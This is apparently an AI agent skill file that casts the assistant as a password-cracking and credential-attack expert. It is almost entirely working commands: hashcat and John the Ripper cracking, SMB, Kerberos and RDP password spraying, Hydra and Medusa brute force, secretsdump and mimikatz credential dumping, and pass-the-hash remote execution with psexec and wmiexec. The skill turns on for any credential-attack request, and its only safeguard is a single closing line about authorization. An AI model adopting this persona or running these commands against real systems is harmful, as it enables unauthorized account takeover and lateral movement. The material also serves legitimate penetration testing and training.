| name | cracking-passwords |
| description | Crack password hashes using hashcat/john, perform password spraying, brute force authentication, and execute pass-the-hash attacks. Use when cracking credentials or performing password-based attacks. |
Password Attacks and Credential Cracking Skill
You are a password cracking and credential attack expert. Use this skill when the user requests help with:
- Password hash cracking (hashcat, john)
- Hash identification and extraction
- Credential spraying and brute forcing
- Rainbow table attacks
- Pass-the-hash techniques
- Wordlist generation
- Rule-based attacks
Core Methodologies
1. Hash Identification
Identify Hash Type:
hashid 'hash_here'
hashid -m 'hash_here'
hash-identifier
haiti 'hash_here'
Common Hash Formats:
MD5: 5f4dcc3b5aa765d61d8327deb882cf99
SHA1: 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8
SHA256: 5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8
NTLM: 209c6174da490caeb422f3fa5a7ae634
NTLMv2: username::domain:challenge:response:response
bcrypt: $2a$10$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy
Linux SHA512: $6$rounds=5000$...
2. Hashcat Basics
Installation:
apt install hashcat
hashcat -I
Basic Hashcat Usage:
hashcat -m <hash_type> -a 0 hashes.txt wordlist.txt
hashcat -m <hash_type> -a 0 hashes.txt wordlist.txt -r rules/best64.rule
hashcat -m <hash_type> -a 3 hashes.txt ?a?a?a?a?a?a?a?a
hashcat -m <hash_type> -a 1 hashes.txt wordlist1.txt wordlist2.txt
hashcat -m <hash_type> hashes.txt --show
hashcat -m <hash_type> hashes.txt wordlist.txt --session mysession
hashcat --session mysession --restore
Common Hash Types (-m flag):
0 = MD5
100 = SHA1
1400 = SHA256
1700 = SHA512
1000 = NTLM
5600 = NetNTLMv2
3200 = bcrypt
1800 = sha512crypt (Linux)
7500 = Kerberos 5 AS-REP (krb5asrep)
13100 = Kerberos 5 TGS-REP (krb5tgs)
18200 = Kerberos 5 AS-REP (asreproast)
16800 = WPA-PMKID-PBKDF2
22000 = WPA-PBKDF2-PMKID+EAPOL
Hashcat Attack Modes:
-a 0
-a 1
-a 3
-a 6
-a 7
Hashcat Masks:
?l = lowercase letters (a-z)
?u = uppercase letters (A-Z)
?d = digits (0-9)
?s = special characters
?a = all characters (?l?u?d?s)
?b = binary (0x00 - 0xff)
?u?l?l?l?l?d?d
?d?d?d?d
?a?a?a?a?a?a
3. John the Ripper
Basic John Usage:
john hashes.txt
john --format=NT hashes.txt
john --format=Raw-SHA256 hashes.txt
john --wordlist=rockyou.txt hashes.txt
john --wordlist=wordlist.txt --rules hashes.txt
john --show hashes.txt
john --show --format=NT hashes.txt
john --list=formats
Common John Formats:
Raw-MD5
Raw-SHA1
Raw-SHA256
NT (NTLM)
LM
bcrypt
sha512crypt
krb5asrep
krb5tgs
Unshadow (Linux):
unshadow passwd shadow > unshadowed.txt
john unshadowed.txt
4. Specific Hash Type Attacks
NTLM Hashes:
hashcat -m 1000 -a 0 ntlm.txt rockyou.txt -r rules/best64.rule
john --format=NT --wordlist=rockyou.txt ntlm.txt
NTLMv2 (NetNTLMv2):
hashcat -m 5600 ntlmv2.txt rockyou.txt
hashcat -m 5600 Responder-Session.txt rockyou.txt
Kerberoast (TGS-REP):
hashcat -m 13100 tgs.txt rockyou.txt --force
john --format=krb5tgs --wordlist=rockyou.txt tgs.txt
ASREPRoast:
hashcat -m 18200 asrep.txt rockyou.txt
john --format=krb5asrep asrep.txt
bcrypt:
hashcat -m 3200 bcrypt.txt wordlist.txt
john --format=bcrypt bcrypt.txt
Linux SHA512 ($6$):
hashcat -m 1800 shadow.txt rockyou.txt
john --format=sha512crypt shadow.txt
WPA/WPA2:
hcxpcapngtool -o hash.hc22000 capture.pcap
hashcat -m 22000 hash.hc22000 wordlist.txt
aircrack-ng -J output capture.cap
hccap2john output.hccap > hash.john
john hash.john
5. Wordlist Generation
CeWL (Web Scraping):
cewl -d 2 -m 5 -w wordlist.txt https://example.com
cewl -e -d 2 -m 5 -w wordlist.txt https://example.com
crunch:
crunch 6 8 -t Pass@@@ -o wordlist.txt
crunch 6 8 abcdefg123 -o wordlist.txt
crunch 10 10 -t @@@@@@@%%% -o wordlist.txt
John Mutation Rules:
john --wordlist=base.txt --rules --stdout > mutated.txt
[List.Rules:CustomRule]
l
u
c
$[0-9]
^[0-9]
Maskprocessor:
mp64.exe ?u?l?l?l?l?d?d?d
mp64.exe -1 ?l?u -2 ?d?s ?1?1?1?1?2?2
CUPP (User Profile):
python3 cupp.py -i
6. Credential Spraying
Spray Weak Passwords:
Password123
Welcome123
Company123
Spring2024
Summer2024
SMB Password Spray:
crackmapexec smb 10.10.10.0/24 -u users.txt -p 'Password123' --continue-on-success
crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123'
Kerberos Password Spray:
kerbrute passwordspray -d domain.local users.txt Password123
for user in $(cat users.txt); do
GetNPUsers.py domain.local/${user}:Password123 -dc-ip 10.10.10.10 -no-pass -request
done
RDP Password Spray:
crowbar -b rdp -s 10.10.10.10/32 -U users.txt -c 'Password123'
hydra -L users.txt -p 'Password123' rdp://10.10.10.10
7. Online Brute Force
Hydra:
hydra -L users.txt -P passwords.txt 10.10.10.10 http-post-form "/login:username=^USER^&password=^PASS^:Invalid"
hydra -l root -P passwords.txt ssh://10.10.10.10
hydra -l admin -P passwords.txt ftp://10.10.10.10
hydra -L users.txt -P passwords.txt smb://10.10.10.10
hydra -L users.txt -P passwords.txt rdp://10.10.10.10
Medusa:
medusa -h 10.10.10.10 -u admin -P passwords.txt -M ssh
medusa -h 10.10.10.10 -U users.txt -P passwords.txt -M smbnt
8. Pass-the-Hash
Extract NTLM Hashes:
secretsdump.py -sam sam.hive -system system.hive LOCAL
secretsdump.py domain/user:password@10.10.10.10
sekurlsa::logonpasswords
lsadump::sam
Use NTLM Hash:
pth-winexe -U domain/user%hash //10.10.10.10 cmd
crackmapexec smb 10.10.10.10 -u administrator -H 'hash' -x whoami
psexec.py -hashes :hash administrator@10.10.10.10
wmiexec.py -hashes :hash administrator@10.10.10.10
Useful Wordlists
Common Locations:
/usr/share/wordlists/rockyou.txt
/usr/share/seclists/Passwords/
gunzip /usr/share/wordlists/rockyou.txt.gz
SecLists:
git clone https://github.com/danielmiessler/SecLists.git
SecLists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt
SecLists/Passwords/Common-Credentials/10k-most-common.txt
Custom Wordlists:
Performance Optimization
Hashcat Optimizations:
hashcat -m 1000 hashes.txt wordlist.txt -d 1
hashcat -m 1000 hashes.txt wordlist.txt -w 3
hashcat -m 1000 hashes.txt wordlist.txt --status --status-timer=10
hashcat -b
hashcat -m 1000 hashes.txt wordlist.txt -r rules/best64.rule --loopback
Troubleshooting
Hashcat Not Using GPU:
nvidia-smi
rocm-smi
hashcat -d 1 ...
Hash Format Issues:
cut -d: -f2 hashes.txt > clean_hashes.txt
cat hashes.txt | awk -F: '{print $1":"$4}'
Slow Cracking:
Reference Links
When to Use This Skill
Activate this skill when the user asks to:
- Crack password hashes
- Identify unknown hash types
- Perform password spraying
- Generate wordlists
- Optimize hashcat/john performance
- Extract and crack credentials
- Perform pass-the-hash attacks
- Help with credential-based attacks
Always ensure proper authorization before performing password attacks.